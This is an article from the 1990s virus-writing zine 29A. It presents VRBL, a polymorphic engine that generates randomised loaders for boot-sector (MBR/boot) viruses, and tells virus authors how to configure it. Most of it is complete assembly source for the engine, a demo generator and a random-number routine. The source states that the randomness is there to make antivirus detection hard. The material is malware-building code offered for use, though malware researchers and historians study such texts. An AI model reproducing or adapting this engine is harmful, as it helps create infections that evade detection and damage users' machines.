Copy Link
Add to Bookmark
Report
29A Issue 02 02 05
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [VRBL]
; Vecna's Random Boot Loader
;
;
; This is the first polymorphic engine exclusively designed for boot viruses
; ever, and it's, maybe, one of the most variable engines in the world! This
; engine creates a loader, to be put in the MBR/BOOT, and sets up registers
; for further polymorphism in the virus body. The engine, btw, is very small
; as it's only 739 bytes long.
;
; The engine operates this way: first it creates random movs, jmps, xchgs,
; adds, xors, and so on. They are fully random, with no fixed structure. Af-
; ter this, it executes the loader in single step mode. The int 1 handler
; checks for the end of the generated code, when it passes control to the
; final routine, which fixes the needed registers, thru xors, adds and subs,
; using the values that are already held in the registers. So, not even the
; moves are fixed. After this, the loader passes control to the virus body,
; either by an intersegmented jump, or by means of a retf instruction.
;
; The engine has two EQUates, which are SIZE_IN_SECTORS and SEGMENT_VALUE.
; In SIZE_IN_SECTORS you must put the size of your virus divided by 512, and
; in SEGMENT_VALUE, the value of the segment you want your virus to get con-
; trol of. As your virus probably gets mem from 0:[413h], you should not put
; very high values here, because your virus may overwrite itself when moving
; to the final segment. In machines with 640kb of conventional memory, which
; is the most common value nowadays, the max value is 640-((SIZE_IN_SECTORS*
; 512)*2). Remember also not to put this value in the 7c0h-7b0h or 0h-100h
; segment area, because of the original boot and the IVT presence.
;
; In short, use 2000 and it will work. ;-)
;
; Below you will find the code for VRBL, and later a demo test program which
; shows the effectivity of the engine, and the randomizer routine that I de-
; signed especifically for it. Hope you enjoy it!
; - -[VRBL.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; Poly engine for boot loader
; Entry:
; DI = buffer to put loader in
; CX = cylynder of code
; DX = head of code
; Exit:
; All preserved
size_in_sectors equ 3
segment_value equ 2000h
makeloader proc
pusha
push ds
push es
push cs
push cs
pop es
pop ds
call random_init
mov word ptr ds:[_CX], cx
mov word ptr ds:[_DX], dx
call random
and ax, 000111111b
or al, 10000b
mov cx, ax
mov word ptr [START], di
call random
and ax, 011111b
add al, 000111b
push cx
mov cx, ax
MyBrainIsUpsideDown:
call make_mov
loop MyBrainIsUpsideDown
pop cx
LoveKills:
push cx
NowIWannaSniffSomeGlue:
call random
and ax, 0111b
shl ax, 1
mov si, offset GARBAGE_TABLE
add si, ax
cmp si, word ptr ds:[LAST_CHOOSEN]
je NowIWannaSniffSomeGlue
mov word ptr ds:[LAST_CHOOSEN], si
call word ptr ds:[si]
pop cx
loop LoveKills
mov word ptr [STOP], di
push 0
pop ds
push dword ptr ds:[1*4]
mov word ptr ds:[1*4], offset INT1
mov word ptr ds:[1*4+2], cs
mov word ptr cs:[_SP], sp
mov ax, ss
mov word ptr cs:[_SS], ax
mov cx, 8
IDontWantBeBuriedInAPetCemetary:
push 0
loop IDontWantBeBuriedInAPetCemetary
popa
push 0100h
push cs
push word ptr cs:[START]
iret
endp makeloader
db '[VRBL]'
make_jmp proc
call random
mov al, 0ebh
and ah, 000001111b
or ah, 00000011b
stosw
movzx cx, ah
RamonesMania:
call random
stosb
loop RamonesMania
ret
endp make_jmp
make_inst_inst proc
call random
and ax, 01100000111b
mov bx, offset TABLE_INST_INST
xlat
or al, ah
stosb
SpiderMan:
call random
and ax, 00111111b
mov cx, ax
mov dx, ax
shr dx, 3
and cx, 0111b
cmp cx, dx
je SpiderMan
cmp cx, 0100b
je SpiderMan
cmp dx, 0100b
je SpiderMan
or ax, 11000000b
stosb
ret
endp make_inst_inst
table_inst_inst equ this byte
db 00001000b
db 10001000b
db 00100000b
db 00010000b
db 00000000b
db 00011000b
db 00101000b
db 00110000b
make_inst_sec proc
mov al, 011110111b
stosb
TheKKKTookMyBabyAway:
call random
and ax, 0000011100111000b
cmp ah, 00000100b
je TheKKKTookMyBabyAway
cmp al, 00010000b
jb TheKKKTookMyBabyAway
cmp al, 00101000b
ja TheKKKTookMyBabyAway
or al, ah
or al, 011000000b
stosb
ret
endp make_inst_sec
make_one_byte proc
mov si, offset table_one
call random
and ax, 00001111b
movsb
ret
endp make_one_byte
table_one equ this byte
clc
cld
cli
stc
std
sti
cmc
cwd
cbw
lodsb
scasb
sahf
lahf
int 3
nop
db 0f1h
make_inst_imm proc
mov bx, offset i_table
mov al, 10000001b
stosb
DoYouWannaDance:
call random
and ax, 0000011100000111b
cmp ah, 0100b
je DoYouWannaDance
xlat
or al, ah
stosb
call random
stosw
ret
endp make_inst_imm
i_table equ this byte
db 11000000b
db 11001000b
db 11010000b
db 11011000b
db 11100000b
db 11101000b
db 11110000b
db 11111000b
inc_dec_ proc
IWannaBeSedated:
call random
and al, 01111b
mov cl, al
and cl, 0111b
cmp cl, 0100b
je IWannaBeSedated
or al, 01000000b
stosb
ret
endp inc_dec_
make_mov proc
call random
and al, 0111b
cmp al, 0100b
je make_mov
or al, 010111000b
stosb
call random
stosw
ret
endp make_mov
start equ this byte
dw 0
last_choosen equ this byte
dw 0
garbage_table equ this byte
dw offset make_inst_inst
dw offset make_mov
dw offset make_inst_sec
dw offset make_inst_imm
dw offset inc_dec_
dw offset make_one_byte
dw offset make_jmp
dw offset make_mov
int1 proc
push bp
mov bp, sp
cmp word ptr cs:[bp+2], 1234h
stop equ word ptr $-2
jae fixreg
pop bp
iret
endp int1
fixreg proc
mov word ptr cs:[SAVE_AX], ax
mov word ptr cs:[SAVE_BX], bx
mov word ptr cs:[SAVE_CX], cx
mov word ptr cs:[SAVE_DX], dx
cli
mov sp, 1234h
_sp equ word ptr $-2
mov ax, 1234h
_ss equ word ptr $-2
mov ss, ax
sti
push 0
pop ds
pop dword ptr ds:[1*4]
push cs
push cs
pop ds
pop es
mov di, word ptr [STOP]
BornToDieInBerlin:
mov bp, 0
ImAStumpedStormtropperYesIAm:
mov si, offset TABLE_FIX
call random
and ax, 0111b
cmp al, 6
jae ImAStumpedStormtropperYesIAm
shl ax, 1
add si, ax
call word ptr [si]
call random
jp IBelieveInMiracles
call make_jmp
IBelieveInMiracles:
cmp bp, 0111111b
jne ImAStumpedStormtropperYesIAm
jmp HeyOhLetsGo
table_fix equ this byte
dw offset make_ax
dw offset make_bx
dw offset make_cx
dw offset make_dx
dw offset make_es
dw offset make_override
make_ax:
bts bp, 0
jc $ret
mov dl, 000b
mov bx, word ptr [SAVE_AX]
mov cx, word ptr [_AX]
$put:
mov al, 010000001b
stosb
call random
and ax, 011b
cmp al, 1
je @sub
cmp al, 2
je @add
@xor:
xor bx, cx
mov al, 011110000b
jmp store
@sub:
sub bx, cx
mov al, 011101000b
jmp store
@add:
sub bx, cx
neg bx
mov al, 011000000b
store:
and al, not(0111b)
or al, dl
stosb
xchg ax, bx
stosw
$ret:
ret
make_bx:
bts bp, 1
jc $ret
mov dl, 011b
mov bx, word ptr [SAVE_BX]
mov cx, word ptr [_BX]
jmp $put
make_cx:
bts bp, 2
jc $ret
mov dl, 001b
mov bx, word ptr [SAVE_CX]
mov cx, word ptr [_CX]
jmp $put
make_dx:
bts bp, 3
jc $ret
mov dl, 010b
mov bx, word ptr [SAVE_DX]
mov cx, word ptr [_DX]
jmp $put
make_es:
bts bp, 4
jc $ret
bt bp, 5
jc SadMOV
PushPop:
mov al, 68h
stosb
mov ax, SEGMENT_VALUE
stosw
mov al, 0
org $-1
pop es
stosb
jmp $ret
SadMOV:
mov al, 010111101b
stosb
mov ax, SEGMENT_VALUE
stosw
mov al, 010001110b
stosb
mov al, 011000101b
stosb
; mov bp, SEGMENT_VALUE
; mov es, bp
jmp $ret
make_override:
bts bp, 5
jc $ret
mov al, 68h
stosb
mov ax, SEGMENT_VALUE
stosw
mov bl, byte ptr [seg_need]
TryES:
cmp bl, 26h
jne TryCS
; mov al, 0
; org $-1
; pop es
; stosb
CleanDI:
sub di, 3
jmp $ret
TryCS:
cmp bl, 2eh
je CleanDI
; mov al, 0
; org $-1
; pop cs
; stosb
TrySS:
cmp bl, 36h
jne TryDS
mov al, 0
org $-1
pop ss
jmp BackInBlack
TryDS:
cmp bl, 90h
jne TryFS
mov al, 0
org $-1
pop ds
BackInBlack:
stosb
jmp $ret
TryFS:
cmp bl, 64h
jne TryGS
mov ax, 1234h
org $-2
pop fs
jmp BackToTheHell
TryGS:
mov ax, 1234h
org $-2
pop gs
BackToTheHell:
stosw
jmp $ret
HeyOhLetsGo:
mov ax, 013cdh
stosw
call random
bt ax, 1
jc make_jump
make_retf:
mov ax, 00
org $-2
push es
push bx
stosw
mov al, 0
org $-1
retf
stosb
jmp done
make_jump:
mov al, 0eah
stosb
mov ax, word ptr cs:[_BX]
stosw
mov ax, SEGMENT_VALUE
stosw
jmp done
done:
mov word ptr [STOP], di
pop es
pop ds
popa
ret
endp fixreg
_AX dw 200h+size_in_sectors
_BX dw 0
_CX dw ?
_DX dw ?
save_AX dw ?
save_BX dw ?
save_CX dw ?
save_DX dw ?
; - -[DEMO.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This demo program generates 99999999 little demos of my engine. This code
; must reside in the MBR or the boot sector of a floppy or harddrive. They
; will load the rest of the virus from other track. They're very variable.
; This code is designed to run in a boot, so, if you execute the demos they
; will surely crash. Check the code with a debugger.
.model tiny
.code
.startup
.386
push cs
pop ds
push cs
pop es
do_next:
call random_init
mov di, 08000h
mov cx, 1
mov dx, 0180h
call makeloader
mov ah, 3ch
mov dx, offset fn2
xor cx, cx
int 21h
jc exit_dem
xchg ax, bx
mov ah, 40h
mov cx, word ptr [STOP]
mov dx, word ptr [START]
sub cx, dx
int 21h
mov ah, 3eh
int 21h
cmp byte ptr ds:[fn2+7], '9'
je zero_1
inc byte ptr ds:[fn2+7]
jmp next_file
zero_1:
mov byte ptr ds:[fn2+7], '0'
cmp byte ptr ds:[fn2+6], '9'
je zero_2
inc byte ptr ds:[fn2+6]
jmp next_file
zero_2:
mov byte ptr ds:[fn2+6], '0'
cmp byte ptr ds:[fn2+5], '9'
je zero_3
inc byte ptr ds:[fn2+5]
jmp next_file
zero_3:
mov byte ptr ds:[fn2+5], '0'
cmp byte ptr ds:[fn2+4], '9'
je zero_4
inc byte ptr ds:[fn2+4]
jmp next_file
zero_4:
mov byte ptr ds:[fn2+4], '0'
cmp byte ptr ds:[fn2+3], '9'
je zero_5
inc byte ptr ds:[fn2+3]
jmp next_file
zero_5:
mov byte ptr ds:[fn2+3], '0'
cmp byte ptr ds:[fn2+2], '9'
je zero_6
inc byte ptr ds:[fn2+2]
jmp next_file
zero_6:
mov byte ptr ds:[fn2+2], '0'
cmp byte ptr ds:[fn2+1], '9'
je zero_7
inc byte ptr ds:[fn2+1]
jmp next_file
zero_7:
mov byte ptr ds:[fn2+1], '0'
cmp byte ptr ds:[fn2], '9'
je exit_dem
inc byte ptr ds:[fn2]
jmp next_file
next_file:
jmp do_next
exit_dem:
int 20h
fn2 db '00000000.COM',0
seg_need db 65h
include random.asm
org 01000h
include vrbl.asm
end
; - -[RANDOM.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This is a slow random number generator. This type of random number gene-
; rators are ideal for polymorphic viruses, because AVs will need to work
; hard in order to create a reliable algorithm to detect the virus. Despite
; of this, I changed it not to be slow, so I can demostrate the variability
; of the engine. You need to call first RANDOM_INIT, then RANDOM to get the
; random values back in AX.
random_init proc
pusha
push es
push ds
push cs cs
pop ds es
mov ah, 8
mov dl, 80h
; int 13h
mov ax, 201h
mov bx, offset random_table
and cx, 0111111b
mov dx, 0080h
; int 13h
cmp dword ptr ds:[bx], ' );'
; je TableDone
CreateTable:
mov di, bx
mov cx, 512
NextRandom:
in al, 40h
xor byte ptr [X_V], al
in al, 40h
add byte ptr [X_V], al
jmp $+2
mov al, 00
X_V equ $-1
stosb
loop NextRandom
WriteTable:
mov ah, 8
mov dl, 80h
; int 13h
mov ax, 301h
mov dword ptr ds:[bx], ' );'
and cx, 0111111b
mov dx, 80h
; int 13h
TableDone:
mov word ptr ds:[RANDOM_NUMBER], 5
pop ds
pop es
popa
ret
endp random_init
random proc
push bx
push ds
push cs
pop ds
mov ax, word ptr [RANDOM_NUMBER]
mov bx, ax
inc ax
cmp ax, 512
jbe ImTheCrusherKingOfTheRing
mov ax, 4
ImTheCrusherKingOfTheRing:
mov word ptr [RANDOM_NUMBER], ax
mov ax, word ptr [RANDOM_TABLE+bx]
sahf
pop ds
pop bx
ret
endp random
random_number dw 0
random_table db 512 dup(0)